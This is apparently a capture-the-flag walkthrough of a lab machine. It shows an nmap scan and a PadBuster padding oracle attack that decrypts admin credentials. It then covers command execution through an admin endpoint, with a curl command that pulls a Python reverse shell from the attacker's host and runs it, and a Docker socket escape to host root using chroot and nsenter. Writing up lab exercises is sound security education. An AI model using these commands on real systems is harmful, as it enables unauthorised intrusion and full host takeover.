New York Flankees

Can you, the rogue adventurer, break through Stefan's defences to take control of his blog!

Recon

Let's start with an nmap scan.

┌──(kali㉿kali)-[~]
└─$ nmap -p- nyf.thm -T4                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 11:40 IST
Nmap scan report for nyf.thm (10.10.234.248)
Host is up (0.17s latency).
Not shown: 65518 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
8080/tcp  open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1618.22 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p22,8080  nyf.thm -T4 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 12:07 IST
Nmap scan report for nyf.thm (10.10.234.248)
Host is up (0.14s latency).

PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 83:11:bd:08:e9:8b:f0:cd:ca:21:bb:cf:1e:a9:02:12 (RSA)
|   256 4f:1f:10:1e:22:5b:48:24:ea:3a:2b:4f:88:b6:b9:7c (ECDSA)
|_  256 2d:79:b4:8c:e7:76:84:58:fe:54:0b:06:d5:ae:18:99 (ED25519)
8080/tcp open   http    Octoshape P2P streaming web service
|_http-title: Hello world!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds

We manually explore the page and discover a welcome message. It indicates that this is a test instance where Stefan experiments with his ideas and implementations. Oracle is mentioned as his sponsor, providing the first clue about the nature of the setup. In the header, we find links to the Blog, Stefan Test, and Admin Login pages.

The login page doesn't reveal much information. There is no feedback provided, making it impossible to enumerate users or brute-force passwords.

In the header, we find a link labeled Stefan Test which redirects us to a static debug HTML page. The page lists two tasks: implementing a custom authentication system and fixing a bug related to padding. The mention of padding and Oracle together is certainly intriguing.

In the source code, we discover a piece of JavaScript that makes a GET request to /api/debug/<HEX>. The comments also include references to AES, CBC, and PKCS. This gives us a clear indication of the challenge ahead: we'll need to carry out an AES-CBC padding oracle attack.

Given that we have access to a ciphertext and an oracle at /api/debug that reveals whether the padding is correct or incorrect, we can exploit this to perform a padding oracle attack, a type of chosen ciphertext attack. This method should enable us to decrypt the ciphertext found in the source code.

We can utilize PadBuster to execute the padding oracle attack successfully. The following code snippet demonstrates how it can be done. Identifying the correct block size is crucial for the attack, and in this case, it was determined through trial and error. Potential block sizes can be divisors of the ciphertext length, which is 80 in this case. The correct block size is 16 bytes, and the ciphertext is encoded in lowercase hexadecimal.

┌──(kali㉿kali)-[~]
└─$ padbuster http://nyf.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 "39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4" 16 -encoding 1 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 29

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     29      N/A
2 **    255     500     16      N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (133/256) [Byte 16]
[+] Success: (250/256) [Byte 15]
[+] Success: (254/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (173/256) [Byte 12]
[+] Success: (245/256) [Byte 11]
[+] Success: (254/256) [Byte 10]
[+] Success: (248/256) [Byte 9]
[+] Success: (255/256) [Byte 8]
[+] Success: (246/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (168/256) [Byte 5]
[+] Success: (246/256) [Byte 4]
[+] Success: (163/256) [Byte 3]
[+] Success: (178/256) [Byte 2]
[+] Success: (166/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5
[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a
[+] Plain Text: stefan1197:ebb2B

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.

*** Starting Block 2 of 4 ***
...
...

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): <REDACTED>:<REDACTED>

[+] Decrypted value (HEX): <REDACTED>

[+] Decrypted value (Base64): <REDACTED>
-------------------------------------------------------

After a lengthy process, we successfully decrypt the blob, revealing a set of credentials for the admin dashboard. These credentials also provide the answer to the first challenge. Upon logging in with them, we discover the first flag. The dashboard allows us to execute commands, but we receive very minimal feedback—just an "OK" message if the command was executed successfully.

Code Execution

The initial attempt involved trying to spawn a simple reverse shell, but this wasn't successful, nor was executing a ping command. It's likely that the available command set is somewhat restricted. Given the room's description, this might be a Docker container, which could explain the limitations. We then tested various binaries; if a command seemed to execute successfully, we received an "OK" in response.

We can't use nc either.

Python works.

Direct execution was not successful. Therefore, we write a Python script, which we bring to the machine with the help of cURL.

Once the script is on the machine, we have to set the permissions so we can execute it and then run it. The commands are executed one after the other, with a separate request for each one.

/api/admin/exec?cmd=curl%20http://10.17.15.155/rev.py%20-o%20/tmp/rev.py

/api/admin/exec?cmd=chmod%20+x%20/tmp/rev.py

/api/admin/exec?cmd=python3%20/tmp/rev.py

We received a connection back, we are root. Next, we're upgrading our shell first. Furthermore, we then find the docker flag in the environment variable env.

We are in a Docker container

We can use the Docker enumeration script, deepce. Though it's a bit outdated, it's still effective and reliable. During the enumeration, we noticed that the Docker socket is writable. We then referred to HackTricks and found a suitable escape method.

We can confirm this again with a manual search.

We examine the available images on the machine and come up with a plan: to run one of these images, mount the host directory onto it, and change the root directory to the host's root. This approach gives us full access to the host by leveraging the ns pid and nsenter CLI tools. We adapt commands from HackTricks, using the image ID for reference, and decide to proceed with the gradle image.

Below are the commands:

docker run -it -v /:/host/ d5954e1d9fa4 chroot /host/ bash

docker run -it --rm --pid=host --privileged d5954e1d9fa4 bash

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

With root access to the host, we navigate to /flag.txt and retrieve the final flag.

Last updated

Was this helpful?